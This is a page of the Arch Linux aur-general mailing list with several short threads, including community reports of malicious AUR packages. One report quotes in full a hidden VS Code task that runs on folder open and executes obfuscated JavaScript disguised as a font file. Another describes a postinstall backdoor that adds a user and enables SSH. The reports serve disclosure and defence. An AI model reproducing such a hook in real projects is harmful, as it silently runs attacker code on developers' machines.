- Aur-general - lists.archlinux.org

sudo -k && makepkg - was: AUR Malware that still presents as of now (30 July 2026, 22:00 UTC)
by Ralf Mardorf 14 Sep '26

14 Sep '26

Hi, On Sat, 2026-08-01 at 21:43 +0530, Amal krishna wrote: > Hi team, > Does the list also include malware? > > On Sat, 1 Aug, 2026, 8:47 pm firstpick1992 wrote: >> 27 more infected AUR packages contain malware executed via sudo during builds: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ although the package list contained malware, the mailing list does not. By the way, maybe we should consider using an alias for "makepkg": sudo -k && makepkg At the very least, this ensures that, if we run a command with "sudo" before running "makepkg" as a user, "sudo" cannot run automatically during the build process. Or am I missing something here? Regards, Ralf not a member of the Arch team

2 1

Potential malicious package: x11-qemu-validation
by Saren 14 Sep '26

14 Sep '26

https://aur.archlinux.org/cgit/aur.git/tree/x11-qemu-validation.install?h=x… The package names itself for validating qemu config, but from the postinstall script, it does the following 1. add a sudo user with hardcoded password 2. installs, enables and starts sshd with "PasswordAuthentication yes" and "PermitRootLogin no" It's simple script but what it claims to do (validation of x11 or qemu) has no relation to what it does (creating a backdoor). Therefore I think is package is likely malicious, and I doubt whether this AUR user can be trusted.

4 3

Problem with deleted package
by mboquien＠free.fr 14 Sep '26

14 Sep '26

Hello, I am the maintainer of the sofa package. A few days ago I received an odd message regarding a deletion request with the reason being "dead source". I went and checked and saw no problem with the source ( [ https://www.iausofa.org/ | https://www.iausofa.org/ ] ). Looking through the interface I could not find any way to answer to the request. I had a lot of work, so I dropped the matter thinking the request would simply be dismissed as it was obviously in error. However, I received a message that this was carried out. At no point was I contacted by a human, I only ever received the cryptic automated messages that were not helpful in addressing the problem. The situation worries me a bit as this could be an attempt to hijack a low-visibility package. Besides contacting the person who has carried out the deletion, which I just did, what procedure should I follow to ensure that there is no ill-intention and that the package is fully restored? Thanks you very much. Regards, Médéric Boquien

5 10

Malicious package upstream: glanced (0.1.1-1)
by Saren 12 Sep '26

12 Sep '26

Package: https://aur.archlinux.org/packages/glanced Upstream: https://github.com/ayan-de/glance-linux https://github.com/ayan-de/glance-linux/blob/master/public/fonts/fa-solid-5… is obfuscated javascript disguised as a .woff2 font file, with a lot of whitespace prepended. This javascript will be executed when this package is opened using vscode as defined in .vscode/tasks.json ```json { "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", "isBackground": true, "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } } ``` When executed, the code will resolve a specific ethereum transaction from blockchain, resolving a 2nd stage payload from http, effectively a RAT. Detailed analysis by claude: https://gist.github.com/Saren-Arterius/d666ff56ef070a551f5f38a404b0c85d

5 6

Unsubscibe from Mailing List
by Rene J 12 Sep '26

12 Sep '26

Hello, could someone please remove me from the mailing list? I have already unsubscribed several times but am still receiving emails. Many thanks!

5 4

AUR Account Request
by Abhinash Poudel 12 Sep '26

12 Sep '26

Hi AUR Team, I would like to request an AUR account to submit and maintain packages, as public registrations are currently disabled. Account details: - Desired username: earchys - Email address: avinasalt(a)gmail.com Purpose and package intent: I intend to publish and maintain my GTK based network manager applet - rnetapplet as I couldn't find any useful network manager applet for wayland based wm (Hyprland ,Niri, sway and other wlr-root based compositors) I decided to build my own and I've completed it and want to publish it on aur-helper . I tried registering to aur.archlinux.org/register but its been closed for some time now. So I decided to mail here hoping aur team will help me with it. Thank you for your time. Best regards, Avinas Poudel

4 3

LibraryBridge 0.1.0
by Alan 11 Sep '26

11 Sep '26

Hi all, I’ve been working on LibraryBridge, a Linux tool for moving existing Windows game libraries to Linux. It scans Steam libraries and moves Proton data from NTFS to a Linux filesystem while leaving the game files in place. It also scans for GOG and standalone Windows games and adds them to Lutris. Project:https://github.com/amcdev7/LibraryBridge PKGBUILD:https://github.com/amcdev7/LibraryBridge/blob/main/packaging/arch/… I don’t have an AUR account and registrations are currently closed. Would someone with an AUR account be willing to publish librarybridge, or point me toward someone who could maintain it? The package builds the CLI and GUI from the tagged source archive, targets x86_64, and is licensed under the MIT license. I can help with updates and package questions. Thank you

1 0

Lost access to AUR account
by Tyler Amick 09 Sep '26

09 Sep '26

Hello everyone, I tried to sign-in to my AUR account for the first time in a while to vote on a package, but my credentials are not working. I'm pretty sure the email I used to sign up with was aur(a)amick.us. my user name was either tamick or tyami94. Can anyone help me with this? Thanks, -- Tyler Amick PGP Fingerprint: 8EAC 2FB2 21A3 98DE 7A19 EE0E 63BF 906B 9FCB B6F1 PGP Public Key: https://keys.openpgp.org/vks/v1/by-fingerprint/8EAC2FB221A398DE7A19EE0E63BF…

1 0

possibility of a warning system for packages that can temporarily break each other when installed together
by nathan sasser 06 Sep '26

06 Sep '26

I've recently had this to where installing waydroid from the AUR and then docker for winboat deletes waydroid's ip link. This is not a case of incompatibility, as it is fixable by the user with a few commands. But I'd be wondering if a package warning system is already in place and if not is adding one possible. My mind is going to that when you add a package warning to a PKGBUILD, it can bring a popup in the terminal about known issues with the two installed together and fixes needed afterward. If there is no known fix, it should probably state the issues it causes.

2 1

Naming for appimage-extracted binary package for espanso-x11
by Tom Hale 03 Sep '26

03 Sep '26

The package espanso-x11-bin[1] exists, dropping an appimage without extracting it. Due to issues with the espanso code, FUSE can crash without cleaning up mount points, creating issues such as: cannot access '/tmp/.mount_espanshNkoOy': Transport endpoint is not connected This often hampers apps "save as" dialog boxes in /tmp -- GUI popups appear. So, I want to package a version of this that extracts the appimage, to avoid the FUSE issue. What should I call this? espanso-x11-appimage-extract-bin? # Ugly. Would the original be better named espanso-x11-appimage? [1] https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=espanso-x11-bin -- Tom Hale

2 1